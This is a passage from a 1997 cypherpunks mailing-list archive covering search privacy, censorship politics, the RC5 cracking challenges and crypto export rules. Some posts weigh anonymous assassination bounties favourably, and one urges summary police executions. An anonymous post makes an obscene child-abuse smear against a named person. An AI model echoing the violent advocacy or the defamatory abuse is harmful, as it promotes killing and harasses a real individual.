"gay" pages is probably not too concerned about accidentally disclosing
this
fact to the maintainer of said "gay" pages.

However, the doubleclick.net ads appear to bear no relationship to the
keywords being searched, and they appear not only in the URL for the
hyperlink to follow, but also in the IMG SRC URL.  This means that in
order
to avoid disclosing my keyword lists to doubleclick.net, I have to
disable
automatic loading of inline images when using AltaVista!

Why is it that when I perform a search for, say, "gay OR nazi AND
scientology", AltaVista tricks my browser to give this very search
string
away to an advertising company by means of an inline image (the contents
of
which has nothing to do with my search)?  I think I can trust the
AltaVista
maintainers not to save my keyword lists for future analysis, but what
about
an advertising company?

It's kind of serendipity reversed.  When you open a book to look up
information on a specific subject, the book scans your mind to find out
what
other interests and hobbies you have.

Anders Andersson, Dept. of Computer Systems, Uppsala University
Box 325, S-751 05 UPPSALA, Sweden   +46 18 183170   andersa@DoCS.UU.SE

------------------------------

<snip>


Regards
Russell Stuart
Software Development Manager
RSM Technology PTY LTD
----------------------
Phone: +61 7 3844 9631
Fax:   +61 7 3844 9522
Email: R.Stuart@rsm.com.au



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:04:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290204.UAA06554@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 27 Jan 1997 22:12:36 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Re: Fighting the cybercensor. (fwd)
> 
> Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...
> 
> The network is largely an intellectual creation. The hardware is
> relatively unimportant, it can always be replaced.

Try doing it without the hardware and software. There is a distinction, you
apparently don't make, between the content and the methodology of
distribution. Without the methodology there is no content. Ideas are cheap,
distributing and trying them out (ie great social experiments) is
expensive. This is why it is absolutely critical in a democratic society
that those who own the means of distribution be left to their own means with
minimal regulation based on the ideal 'if their actions do not harm another
or their property without their prior consent' it isn't anyones business
what they are doing with their distribution mechanisms.

Whether you like it or not, each and every one of us have a responsibility
to every other person on the planet. That responsibility is to ensure that
our goals and desires don't infringe their goals and desires without their
prior consent, this is a fundamenal responsibility of government. As hard
as it is for many social scientist to accept privacy is a fundamental
requirement for a equitable government. I express this simply by,
"Democracy works not because of compromise but rather the refusal to
 compromise."

> If you start from such a state and property centered ideology perhaps.
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.

The 'state' is its subjects and the rules that are enacted to regulate their
behaviour. In case it hasn't occured to you, even the regulators are
subjects, and in the case of clearly oppressive societies victims as much as
those they subjugate. It isn't some etherial entity. Only you, and those that
proscribe to your views, are claiming that states are some homogenous (or
should be) set of rules and actions.

The way you speak of 'state' and 'citizen' implies some clearly observable
demarcation, it don't exist.

This is the problem with EVERY form of government except a democracy, it
assumes that people are cogs in a machine. If it satisfies one it will
satisfy all. A democracy recognizes this difference in what people value
and the goals they desire as a fundamental distinction (ie. life, liberty,
and the pursuit of happiness) worth protecting. I would suggest you read the
9th and 10th Amendments to the Constitution of the US and consider long and
hard the ramifications of the (currently unenforced) limitations of
government authority. Even European governments might learn something.

> Its worth noting that the origin of property is theft. In the case of the
> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

Malarky. The origin of property is at least 300,000 years old, potentialy
over a Million, and much older than China could ever hope to claim and most
definitely NOT based on any concept of government. Property comes from small
family clans of people who chose to move from a hunter-gather society to one
of agriculture. To do that means that you have to lay out fields or other
areas for cultivation. Initialy these groups moved around because the fields
would go fallow. At some point some bright folks, either by accident or
intentional experimentation (probably both), found that rotating crops would
allow them to stay in one place. This allowed families to grow. In very
fertile areas this caused population explosions as individual clans grew and
began to interact with other local clans. At some critical size, undetermined
as best as I can determine, this allows specialization of effort. This
specialization of effort is what leads to governments as we recognize them.

When property was 'invented' there were no rulers because there was no
larger human organization than a familial tribe. I personaly believe that
the concept of 'property' is a fundamental aspect of human psychology and
not any structures they might impliment to express that need. I am as
certain as it is possible to be that a Cro-magnon cave man felt that his
throwing stick was 'his'. If not why did they bury their dead with flowers
and other objects that apparently belonged to the person in life? It sounds
like, by extrapolation, that your assertion is that they had government in
the modern sense because of this. An assertion I find laughable at best.

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

But I don't propose a slavish subject model, you keep trying to make it seem
like that is what I am proposing. Let me make it clear, I utterly reject ANY
model that makes distinctions between those who rule and those who are
ruled.

> It is true that there is the convenience of the state as agency but
> the question is on whose behalf that agency is exercised. 

Nobodies. The state is a means to regulate resources and commerce, anything
else is a misunderstanding of what a state is.

> I see no reason why I should not meddle in the affairs of states
> I'm not a 'subject" of. 

Then don't bitch when they meddle in your affairs. I am shure Saddam Hussein
(who I personaly believe is a piece of shit) will find it reassuring that
you won't raise a complaint next time he decides some place in Europe would
be a nice place to hang out with his armies.

> They are allowed

Allowed, hell. They pay for the privilege just like everyone else. Despite
what you might believe the Internet is not a right or something anyone has a
right to.

> to connect their machinery to the Internet so long 
> as they are prepared to accept the Internet's ethic.

There is no Internet ethic just as there is no community standard. It is a
convenient concept for intellectuals to pass off utterly senseless theories
and explanations, and in many cases justify subjugation and regulation for
no other reason than their own emotional and economic comfort.

> As a citizen of Europe I disagree. I believe that the narrow and
> parochial attitude of the French province breaches undertakings in the
> Treaty of Rome and under the European declaration of human rights.

Absolutely. The difference in our approaches is that you feel that you have
found a solution that satisfies you and therefore it should satisfy
everyone. With this I disagree completely. People are simply too diverse to
lump into the categories that you would like. If the French have a model
that won't work, let them figure it out on their own.

> France is not a sovereign state and does not have the right to
> pass laws that infringe on the rights granted to European citizens
> as a whole.

I suspect most French people would have something contrary to say about
that.

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:12:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: CNN: Court ok's College control of Internet access
Message-ID: <199701290212.UAA06609@einstein>
MIME-Version: 1.0
Content-Type: text



Note: Heavily edited.

Forwarded message:

>                COURT SAYS COLLEGES CAN RESTRICT INTERNET ACCESS
>                                        
>      
>      January 28, 1997
>      Web posted at: 1:35 p.m. EST
>      
>      NORMAN, Oklahoma (CNN) -- A U.S. District Court in Oklahoma has
>      ruled universities have the right to limit access to explicit
>      material on the Internet.
>      
>      A federal judge ruled University of Oklahoma president David Boren,
>      a former U.S. senator, has every right to determine what sites
>      students and faculty can view while on the campus Internet system.
>      
>      Boren was sued by University professor, Bill Loving, who claimed his
>      First Amendment rights were being infringed upon.
>      
>      The court ruled against Loving, also an attorney, saying his
>      constitutional rights were not violated and that he is not entitled
>      to injunctive relief.
>      
>      "I am certainly pleased by the judge's decision," Boren said. "The
>      university did its best to strike a careful balance in order to
>      protect legitimate academic and intellectual freedom while at the
>      same time assuring that the university not act as a distributor of
>      obscene material, which is not protected by the First Amendment."  
>      rule




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 18:12:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Physical meet, Sat. Feb. 15 - not 18. (fwd)
Message-ID: <199701290212.UAA06654@einstein>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From owner-austin-cpunks@ssz.com Tue Jan 28 20:10:19 1997
From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199701290209.UAA06585@einstein>
Subject: Physical meet, Sat. Feb. 15 - not 18.
To: austin-cpunks@einstein.ssz.com (Austin Cypherpunks)
Date: Tue, 28 Jan 1997 20:09:55 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 784       
Sender: owner-austin-cpunks@einstein.ssz.com
Precedence: bulk
Reply-To: austin-cpunks@einstein.ssz.com


Hi all,

I apparently didn't pay much attention to what month I was looking at when I
made the initial meeting. Turns out the 18th is a Tuesday obviously a day
that few of us can make. As a result I looked at the 'real' Feb. calendar
and the meeting date is as follows:


Saturday, Feb. 15, 1997
6pm.
HEB Central Market Restaurant
Look for the red 2nd. ed. Applied Cryptography book
For more info email 'austin-cpunks@ssz.com'

Also invited to this meet are members of the mailing lists:

Experimental Science Instrumentation

Advanced Computer Experimentation


Sorry for the confusion.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 28 Jan 1997 20:12:40 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <v02140b01af147d7f440b@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple
>majority.
>
>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.
>The household is told that a standing bounty has been placed with a
>collection of individuals, on the head of the trigger man involved in the
>tyrants murder.
>The poor can not hope to match the tyrants bid as they only have 10% of the
>wealth, the household knows that thier participation in an attempt on the
>tyrant will get them killed.  Even if the attempt was successful.
>The people from the outside who would benefit from the bounty benefit more
>by taking the tyrants offer and then trying again, i.e. tiger teams.

I think a hole in your thinking is to assume that the assasins have no
motive other than financial gain.  I would submit that there are those that
have the skills, training and a political agenda coherent with the
wagerers, lacking only the financial incentive to make the risks
acceptable.  These wetworkers won't consider accepting the bribe of the
rich/powerful

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Toth <mst114@psu.edu>
Date: Tue, 28 Jan 1997 17:26:56 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
Message-ID: <1.5.4.16.19970129012353.382f645c@email.psu.edu>
MIME-Version: 1.0
Content-Type: text/plain


        MIT is one the best schools in the country for C.S.
        Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Tue, 28 Jan 1997 19:40:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701290339.UAA01343@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phill" wrote:

>I am a cyber-revolutionary and the world has bought into
>the chaos of our revolution. I never intended the Web to be a tool
>for confirming the present social order which is manifestly 
>corrupt.

I am woman, hear me roar
in numbers too big to ignore

As R. J. Wagner once said, "Koo koo, baby."

Hey, I hope that the above is construed as neither a flame nor as "off topic".

May I additionally congratulate Nurdane on her birthday?

Yo "Phill"! When's your cyber-revolutionary birthday? Maybe we can all chip
in to buy you a biscuit. (See, in England, they say, "That certainly takes
the biscuit". Eh, "Phill"?) BTW, "Phill", did you want to make good on your
bet to Sandy at this time?

Ain't C-punks fun nowadays?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 20:53:56 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D5D.D7CD3200@king2-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell

[ on discussing AP on the cpunk list]:

Because it's on-topic, that's why.  Because it's not merely a list
concerning METHODS of encryption, it's also about the _reasons_ for using
encryption, as well as the _effects_ (both small-scale and large-scale) of
using encryption.
--

Well, you're right, this is probably a good place to discuss it, so all the 
NSA spooks will know what some of youall are up to.


[ why the Iraquis haven't thought of applying it themselves - to Saddam]:

As for why the ordinary Iraquis didn't think of it...  Or the ordinary
people of any or every country, as well.  Why didn't THEY think of it?
--

I was thinking the reason that most people don't think of applying AP is 
because they're normal.   It is not the first thought of a normal person to 
kill another human, just because they've been offended - even severely.  It 
takes an extraordinary circumstance to motivate one to such destruction, 
especially if there are a thousand armed troops supporting the object of 
the attempt.

But in fact I do think that many in Iraq (whoever they were) did consider 
it seriously and have attempted to get rid of Saddam.  I heard on a TV 
special that he has survived about 5 or so attempts on his life.   This 
means that not only was he not killed, but he didn't learn anything from it 
and it created no fear in him about continuing to rule as a dictator.   It 
probably was more discouraging to his enemies than himself.


[  on why the Mafia hasn't achieved a rational society by the use of AP]:

In fact, apparently, they function diametrically opposed to
the AP system.  A complete AP-like system is structured (via encryption,
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because
nobody knows anyone else's identity.
--

There are extraordinary times when people, even though they be of sound 
mind and body, are moved to band together and kill another person.   There 
are a few occurances in history that anyone can immediately think of as 
examples.   But this is in an *extra-ordinary* situation.   A society of 
people - where "society" indicates their desire to live in each other's 
company, associating openly and developing working relations - would not 
really be a "society", would not last as an association of people, if they 
were expecting extreme, destructive reactions from others in response to 
any degree of perceived insult from themselves.   Therefore, although I can 
appreciate the need to be able to deal with political tyrants by just 
killing them, and currently encryption and anonymity makes it possible to 
do this "blindly" without anyone knowing each other, I can't see where 
implementing this method of relating to others, in a system of daily 
operating procedures, would do better than to create an atmosphere of total 
paranoia and psychological breakdowns.

I think it is very important that individuals be able to defend themselves 
- from anyone.  It is unfortunate that citizen-units are not typically 
instructed in the methods of self-defense, nor especially allowed to 
practice it without "official authorization".   If we were better able to 
do this, the fact that anyone anywhere could immediately deal with threats 
to their existence would in itself be an impressive "deterrent", 
contributing to the general welfare and peace.

Be that as it may, although the capacities of encryption and the internet 
make anonymous AP possible, the drive of human intelligence is toward 
knowledge, towards knowing the reasons for things.  It would wish to know 
what is right or wrong, it  would wish to know how to be the most accurate, 
it would wish to know about cause and effect, it would wish to know how to 
be in command of itself, normally.    If someone does something "wrong" 
which makes another unhappy, normally they will wish to know what it was 
and how to correct it.   If every time someone made a mistake they got 
punished, without the opportunity to understand the error and without the 
opportunity to make corrections, they would be a psychological wreck.   If 
every time someone made mistake they got assassinated, not only would no 
one wish to do anything for fear of losing their lives, creating a 
"society" of timid sheep, there probably wouldn't be many people remaining 
to savor the triumph of being superior.

AP is just another form of war.   You can bet that if assassinations 
increased a hundred fold as a result of your method, not only "governments" 
but some very bright people would get together to figure out a defense 
against it, for they also would be "at risk".

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Tue, 28 Jan 1997 20:53:37 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0D5D.E071B840@king2-20.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Dr.Dimitri Vulis

The Mafia in the U.S. doesn't work. The sicilian Mafia is very successful at
assassinating any public officials that fucks with it.
............................................................


What do you suppose they would do if someone like you tried to break up their meetings?   

 :>)

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 21:00:23 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701282212.OAA04726@toad.com>
Message-ID: <3.0.1.32.19970128205620.00624060@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM 1/28/97 -0500, "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
wrote:
>>That's it?  The system collapsed because the guards left their posts?
>>And no mutiny charges?  Incredible.
>I was there.
>The collapse of East Germany was quite spectacular. There
>was at most three months of warning. First there was a series
>of sit ins at foreign embassies, then a migration of large 
>numbers of people in their twenties within the eastern block.

In particular, people started leaving East Germany by way of
still-somewhat-communist Hungary (where the Germans let them go)
and from there into Austria (where the Hungarians let them go),
and it was getting to be tens of thousands of people per month.
Once a system like that starts leaking, it's hard to contain.

(ObCypherpunksContent: if substantial amounts of tax money starts
escaping into Cypherspace, it's not easy to maintain a modern
CorporatistWelfare-for-Bureaucrats state either.....)

>Unfortunately US commentators tend to see everything in terms of
>US cultural norms, many of which were explicitly rejected by the
>protestors. The East Germans wanted West German affluence, they
>wanted to be part of Western Europe. They were certainly not 
>responding to US military spending as right wing theorists claim, 
>nor was the economy collapsing because of the arms race, it
>was collapsing because of the costs of a totalitarian state and
>the incompatibility of that state with modern industrial 
>organization.

The US right wing does argue that the Soviets couldn't afford to run
a military industrial complex big enough to outrace theirs,
and that it was a major contributor to the economic collapse
(which it probably was.)  Of course, they also consider that
Communism isn't an economically viable system, ignoring the similar
problems with the Good Old American Patriotic Military-Industrial-Complex,
and somehow think that now that there aren't any Russian Commies
to kick around any more that we need a bigger army, as well as a
supply of easily-kicked-around enemies.  Unfortunately, I suspect that
sometime soon they'll remember that there still are a billion 
Commies left, and that Oceania has always been at war with EastAsia.
Hopefully the Communist system in China will have fallen apart by then
to the extent that it can admit to being a semi-capitalist kleptocracy
instead of pretending to still be in charge of anything.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 21:21:34 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Physical meet, Sat. Feb. 15 - not 18. (fwd)
In-Reply-To: <199701290212.UAA06654@einstein>
Message-ID: <32EED877.5850@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote: 
 Sender: owner-austin-cpunks@einstein.ssz.com
 Precedence: bulk
 Reply-To: idiot@einstein.ssz.com
 
> I apparently didn't pay much attention to what month I was looking at when I
> made the initial meeting.

 If you're having trouble understanding the technology, perhaps
you need to flame yourself.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 28 Jan 1997 18:03:07 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Best Computer School?
Message-ID: <3.0.32.19970128210213.0093e370@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.

I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis.

The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!"

>For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess.

MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"He who knows, does not speak.
He who speaks, does not know."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:11:18 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128114554.9818A-100000@dhp.com>
Message-ID: <32EEDAB6.51A6@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > Igor Chudov @ home wrote:
> > > > > Dale Thorn wrote:
> >
> > > > But seriously, I was just telling the folks over the weekend, if I
> > > > had my hand on the button, a lot of people would die very quickly.
> > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > suffice to be immediately terminated.
> 
> No trial, huh?

Good question.  The law we have right now already assumes that there
are situations where a criminal will not go peacefully, if at all.
In some countries (years ago?) such as England, bobbies were known
to not carry firearms for ordinary street duty.  Am I right?  But
here in the USA, that would be unthinkable.

So my proposal doesn't eliminate the responsibility portion of law
enforcement.  I'd say, if a target were eliminated thru negligence,
malfeasance, or other wrongdoing under "color of law" or whatever,
let the courts handle that as they do now.

My suggestion would give the law enforcers the ability to dispense
the first level of justice expeditiously, which they cannot accomplish
now due to all of the red tape and the corrupt legal system (lawyers
specialize in getting chronic offenders off, particularly "traffic"
offenses).  By transferring a major portion of the bureaucracy to
the pencil pushers, we can free up the street cops to do what they
do best, namely bust or eliminate criminals.

I dare say that the downside of this is much less pleasant than the
virtual anarchy (in the bad sense) we suffer now.  If the police get
out of control, A.P. will arrive just in time to plug a few of those
holes, so to speak.  Ideally, future robotics should be able to
provide something like Gort (sp?) to take the place of human officers,
given advances in the kind of pattern matching needed to deter
aggression and the like.  Those who don't make it past the robots,
well, the rest of us can learn to behave, and we'll be much better
off when we do.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:28:58 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282159.NAA11748@kachina.jetcafe.org>
Message-ID: <32EEDFCA.34E4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Dale Thorn writes:
> > I heard years ago that approximately 10% of the people on the street
> > are certifiably mentally unstable.

> This depends on your standads of "unstable". I'll bet genetic
> diversity is now much more of a factor then when those standards were
> written.

> > Multiply that by two at least for
> > Los Angeles (suburban L.A., actually, Hollywood for example is much
> > safer than Altadena or Westlake Village).

> I beg to differ. Which parts of Altadena and Hollywood are you
> referring to?

I used Altadena as a generic example of a suburb, although Camarillo
would be even better, since it's not so cosmopolitan as most of the
'burbs right next to L.A.  Hollywood (to me) is an ideal example of
inner city, for a lot of reasons.  I love the place, dirt and all.

BTW, I was *not* referring to walking around, I was comparing driving,
mainly on the freeway.  Statistics have come out in major papers that
back my experience up 100%.  I drive from P.C.H. @ Seal Beach Blvd.
to the Ventura County beach area every weekend, and back again.  I
used to go down the 101 to the 405, then south on the 405 to Seal
Beach Blvd.  Nowadays I take the 101 all the way into town to the 5,
down the 5 to the 605, and down the 605 to 7th Street in Long Beach.

It's 3 miles further thru town, and 20 minutes slower on average,
but I get only about one psycho per 20 round trips now, as compared
to at least one per trip on the 101-405 combo when I went that way.

The difference was striking, and I can only surmise that rednecks and
their ilk are more fearful of attacking other people in the inner city
as opposed to the outlying regions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Garrard, David" <David.Garrard@EXCH.EDS.com>
Date: Tue, 28 Jan 1997 17:44:42 -0800 (PST)
To: "IMCEAX400-c=US+3Ba=+20+3Bp=EDS+3Bo=EXAU01+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@EXCH.EDS.com>
Subject: Recovery of Windows NT administrator password
Message-ID: <c=US%a=_%p=EDS%l=AUADMEDS000-970129023446Z-59@ustre100.exch.eds.com>
MIME-Version: 1.0
Content-Type: text/plain


An inherited Windows NT system that I am involved with has a lost 
administrator password ( no one no longer knows what it is ). Can 
anyone point me to software products/companies that can help in the 
recovery. Given Microsoft's dismal record on  security I am sure there 
must be solutions to this dilemma. Any help would be greatly 
appreciated.

Best Regards


David L. Garrard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Fiero <rfiero@pophost.com>
Date: Tue, 28 Jan 1997 21:44:45 -0800 (PST)
To: Sandy Sandfort <paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282157.NAA04110@toad.com>
Message-ID: <3.0.1.32.19970128213609.006dc248@pop.pophost.com>
MIME-Version: 1.0
Content-Type: text/plain


Get it straight Sandy Sandfort. I'm not in your home. I am in my home and I
will observe my priorities, not your's.

Sandy Sandfort writes:
> . . . . . . . . . . . . . . . . . . . . . . Mail lists are far
>more like private homes, businesses or clubs.  When you are a
>guest there, you are subject to their rules of behavior.

If Dr. Vulis was pushing the envelope in list-abuse as a multi-stage social
experiment, Sandy Sandfort has surpassed him by far. In part I refer to a
Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
made public two hours before the criticism was. This is not moderation. It
is manipulation and interference. Since I have a low tolerance for
self-serving pedantry, I never would have noticed the criticism if it had
not been preceded by the reply.

In the reply, Sandy Sandfort employs the name-calling "sophist" and
"hypocrite." Also in the reply is the Freudian slip or obscene proposition:
> . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
Shouldn't this have gone to cypherpunks-flames?

One might wonder just what the rules of proper decorum are.

-- Richard Fiero




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 28 Jan 1997 21:38:15 -0800 (PST)
To: Ian Goldberg <caronni@tik.ee.ethz.ch>
Subject: Re: RC5-12/32/5 contest solved
In-Reply-To: <199701282055.VAA11732@kom30.ethz.ch>
Message-ID: <3.0.1.32.19970128213757.006466d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Any bets on whether the $5000 RC5-12/32/6 contest will be solved 
before the www.rsa.com contest status web page is updated?  :-)

Or how long before someone in the government starts talking about
how 56 bits takes 65,000 times as long to solve as 40 bits, 
which is 26 years for a whole building full of computers,
and even 48 bits ought to take a month and a half for a whole
building full of computers (or supercomputers, if they hype it up....)?

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch> wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
How many machines were you using, on average?



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 28 Jan 1997 21:49:39 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
Message-ID: <Pine.3.89.9701282147.A1983-0100000@netcom21>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:
[snip]
> >EXPORTABLE CRYPTOGRAPHY TOTALLY INSECURE: CHALLENGE CIPHER BROKEN IMMEDIATELY
> >
> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student, 
> >announced today that he had successfully cracked RSA Data Security 
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.
> ....
> >Goldberg used UC Berkeley's Network of Workstations (known as the NOW) 
> >to harness the computational resources of about 250 idle machines.  
> >This allowed him to test 100 billion possible "keys" per hour -- 
> 
Good grief...I just remembered that this challenge started today when I 
read this letter.  A question - how does DES differ from the RC5 cyphers 
that are also up for breaking?  Where can I find some software to use on 
these?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Tue, 28 Jan 1997 19:08:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701290249.VAA04741@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Degenerate L[ibel] Vandal K[ocksucker] Of The Minute will fuck
anything that moves, but he'd rather be fucking his own son's
prepubescent body.

      o_o
     (   )  Degenerate L[ibel] Vandal K[ocksucker] Of The Minute
    ( | | )
    ' " " `





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark Rosen" <mrosen@peganet.com>
Date: Tue, 28 Jan 1997 19:15:57 -0800 (PST)
To: <cryptography@c2.net>
Subject: More Circumventing the ITAR
Message-ID: <199701290307.WAA13939@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
about "unrestricted FTP sites." My program, Kremlin, is available for
download at the web page below. On my web page, I have some stuff in bold
print that informs about the ITAR and tells people to go away if they're
not from the US or Canada. Does this count as an unrestricted FTP site?
It's not all that much different from what MIT has up for PGP.
